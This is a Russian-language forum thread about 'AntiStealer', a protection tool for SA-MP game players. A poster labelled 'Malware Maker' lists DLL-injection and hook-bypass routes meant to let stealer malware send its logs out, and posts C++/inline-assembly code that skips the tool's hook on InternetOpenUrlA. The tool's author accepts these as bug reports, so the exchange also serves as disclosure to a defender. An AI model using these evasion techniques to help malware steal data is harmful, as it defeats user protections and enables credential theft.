Статус
В этой теме нельзя размещать новые ответы.

ЯedЯuM

Malware Maker
242
302
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Таир почему ты не контролируешь вызовы недокументированных функций с ntdll?
Через FindWindowA + NtOpenProcess + NtCreateThreadEx можно спокойно заинжектить свою дллку в левый процесс, например samp.exe который в 90% случаев всегда запущен вместе с игрой и можно через неё слать логи стиллера куда душа захочет под AS v4.7.0
Либо просто создать свой процесс через NtCreateProcess и аналогичным образом делать всё что угодно.
Так же нашел вторую уязвимость, можно вызывать вин апи функи с обходом твоих хуков просто перепрыгивая твой jmp (оригинал адрес + 5 байт).
И возможно сработает ещё одна херня но я не уверен
(Заморозка потока модуля антистиллера -> удаление хука -> вызов WIN API -> востановление хука, разморозка потока) но я бы на твоём месте хукал SuspendThread и проверял кому принадлежит поток.
 
Последнее редактирование:

ЯedЯuM

Malware Maker
242
302
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Обновлено до: V4.8.0
Обновление является важным. Рекомендуется установить его.
Я тебя немножечко огорчу, но через RtlCreateUserProcess/RtlCreateUserProcessEx можна создать свой процесс и обойти v4.8.0:hah:
Так же через RtlCreateUserThread можна инжектить дллки, аналог CreateRemoteThread.
И да, чуть не забыл - SetWindowHook/SetWindowHookEx аналогично можна использовать для инжекта дллок в сторонний процесс в качестве обхода.
Но я думаю тебе хватит хука на user32.dll - FindWindowA/FindWindowEx чтобы уже никак не достать ID левого процесса.
Kстати я так и не понял почему ты сюда хук не поставил.
Через FindWindowA + GetWindowThreadProcessId можно получить ид нужного процесса с HWND =)
Может надо было по одной функе за раз палить чтобы Таир обновы каждый день пилил:thinking:
 
Последнее редактирование:

DarkP1xel

Сила воли наше всё.
Автор темы
BH Team
3,635
4,982
Я тебя немножечко огорчу, но через RtlCreateUserProcess/RtlCreateUserProcessEx можна создать свой процесс и обойти v4.8.0:hah:
Так же через RtlCreateUserThread можна инжектить дллки, аналог CreateRemoteThread.
И да, чуть не забыл - SetWindowHook/SetWindowHookEx аналогично можна использовать для инжекта дллок в сторонний процесс в качестве обхода.
Но я думаю тебе хватит хука на user32.dll - FindWindowA/FindWindowEx чтобы уже никак не достать ID левого процесса.
Kстати я так и не понял почему ты сюда хук не поставил.
Через FindWindowA + GetWindowThreadProcessId можно получить ид нужного процесса с HWND =)
Исправим. Тебе респект от меня.

Может надо было по одной функе за раз палить чтобы Таир обновы каждый день пилил:thinking:
Мне не в лом.
 
Последнее редактирование:
  • Нравится
Реакции: Impossimble и ЯedЯuM

ЯedЯuM

Malware Maker
242
302
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Накидал тебе реализацию того обхода с перепрыгом сплайс хука на 5 байт который ты так и не пофиксил.
C++:
__declspec(naked) void RestoreInstructions();
#define G_SIZE 6
BYTE oldBytes[G_SIZE];                                     
BYTE JMP[G_SIZE];
DWORD oldProtect, myProtect;
LPVOID pOrigMBAddress;
void MakeJump(LPVOID newFunction)
{
    BYTE tempJMP[G_SIZE] = { 0xE9, 0x90, 0x90, 0x90, 0x90, 0xC3 };   
    memcpy(JMP, tempJMP, G_SIZE);                                   
    DWORD JMPSize = ((DWORD)newFunction - (DWORD)pOrigMBAddress - 5);
    VirtualProtect(pOrigMBAddress, G_SIZE, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(oldBytes, pOrigMBAddress, G_SIZE);
    memcpy(&JMP[1], &JMPSize, 4);
    memcpy(pOrigMBAddress, JMP, G_SIZE);
    VirtualProtect(pOrigMBAddress, G_SIZE, oldProtect, NULL);
}
DWORD OurHookAddr;
void InstallByPass() // Вызывать 1 раз перед вызовом InternetOpenUrlA
{
    OurHookAdr = ((DWORD)GetProcAddress(GetModuleHandleA("wininet.dll"), "InterneOpenUrlA") + 0x5); // перепрыгиваем хук антистиллера
    // Ставим свой jmp с адресом нашего хука ниже джампа антистиллера + NOP на 6-ой байт от затёртой sub инструкции
    pOrigMBAddress = (LPVOID)OurHookAddr;
    if (pOrigMBAddress != NULL)
    MakeJump(&RestoreInstructions);
    DWORD nopAddr = (OurHookAddr + 0x1);
    memcpy(nopAddr, 0x90, 1);
}
// Наша прослойка
__declspec(naked) void RestoreInstructions()
{
    DWORD retAddr = (OurHookAddr + 0x5); // вернёмся в код на место сразу за нашим джампом
    // Востанавливаем затёртые 10 байт от джампа антистиллера и нашего хука
    __asm
    {
        // эмулируем 5 затёртых байт от джампа антистиллера
        mov edi, edi
        push ebp
        mov ebp, esp
        // эмулируем 5 затёртых байт от джампа нашего хука
        and esp, 0xFFFFFFF8
        sub esp, 0x3C
        jmp retAddr; // трамплин для возврата обратно в оригинальную функцию
    }
}
InstallByPass(); // Перед вызовом InternetOpenUrlA необходимо поставить свою прослойку для эмуляции затёртых инструкций.
// Теперь можна вызывать InternetOpenUrlA с обходом джампа антистиллера всего лишь добавив к оригинальному адресу 5 байт
 
Последнее редактирование:

™ ChipFamily

По ту сторону надежды.
5,144
1,983
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Раньше у меня строк 10 было, щяс 1 строчка, хз почему так резко:thinking:
После обновление, автор убрал чтобы показывало там не нужный хлам.
R2zULDf.png
 

DarkP1xel

Сила воли наше всё.
Автор темы
BH Team
3,635
4,982
Обновлено до: V4.9.0
Обновление является важным. Рекомендуется установить его.
 

Scv

Известный
129
40
Обновлено до: V4.9.0
Обновление является важным. Рекомендуется установить его.
upload_2018-9-29_23-49-27.png

Такая ошибка после установки новой версии, при нажатии на "Повтор" запускается самп, можно как исправить?

Появилась новая строчка после обновы
[PATCHED] > [FindWindowW] > [C:\Windows\system32\UxTheme.dll] > {lpClassName: Shell_TrayWnd | lpWindowName: }
|>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<|
|> | AntiStealer | V4.9.0 | By DarkP1xel | .LOG File | <|
|> Official Web-Site: https://blast.hk/ <|
|> Subscribe to my YouTube Channel: https://vk.cc/5PCsTe <|
|> Official Topic: https://blast.hk/threads/16018/ <|
|> KEEP CALM AND SMOKE SOME WEED <|
|> !AntiStealer LOADED! <|
|>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<|

[PATCHED] > [CreateProcessW] > [C:\Windows\AppPatch\AcGenral.DLL]
[PATCHED] > [FindWindowW] > [C:\Windows\system32\UxTheme.dll] > {lpClassName: Shell_TrayWnd | lpWindowName: }
[WARNING] > [gethostbyname] > [D:\GTA San Andreas MultiPlayer\samp.dll] > {name: WIN-VA6M132OTN5}
[WARNING] > [InternetOpenA] > [D:\GTA San Andreas MultiPlayer\SAMPFUNCS.asi] > {lpszAgent: SAMPFUNCS v5.3.3 release #19 (SA-MP 0.3.7)}
[WARNING] > [InternetOpenUrlA] > [D:\GTA San Andreas MultiPlayer\SAMPFUNCS.asi] > {lpszUrl: http://service.blasthack.net/sf_sta...8FCB7907&x=B9909B053E5CD06910E320FA43440F5E5D}
[WARNING] > [InternetCreateUrlA] > [C:\Windows\syswow64\WININET.dll] > {lpUrlComponents->lpszHostName: service.blasthack.net}
[WARNING] > [GetAddrInfoW] > [C:\Windows\syswow64\WININET.dll] > {pNodeName: wpad}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\syswow64\WININET.dll] > {lpUrlComponents->lpszHostName: service.blasthack.net}
[WARNING] > [InternetCreateUrlW] > [C:\Windows\syswow64\WININET.dll] > {lpUrlComponents->lpszHostName: service.blasthack.net}
[WARNING] > [GetAddrInfoExW] > [C:\Windows\syswow64\WININET.dll] > {pName: service.blasthack.net}
[WARNING] > [InternetOpenA] > [D:\GTA San Andreas MultiPlayer\SAMPFUNCS.asi] > {lpszAgent: SAMPFUNCS}
[WARNING] > [InternetConnectA] > [D:\GTA San Andreas MultiPlayer\SAMPFUNCS.asi] > {lpszServerName: service.blasthack.net}
[WARNING] > [HttpOpenRequestA] > [D:\GTA San Andreas MultiPlayer\SAMPFUNCS.asi] > {lpszObjectName: /sf_update.php?ver=19}
[WARNING] > [InternetCreateUrlA] > [C:\Windows\syswow64\WININET.dll] > {lpUrlComponents->lpszHostName: service.blasthack.net}
 
Последнее редактирование:
Статус
В этой теме нельзя размещать новые ответы.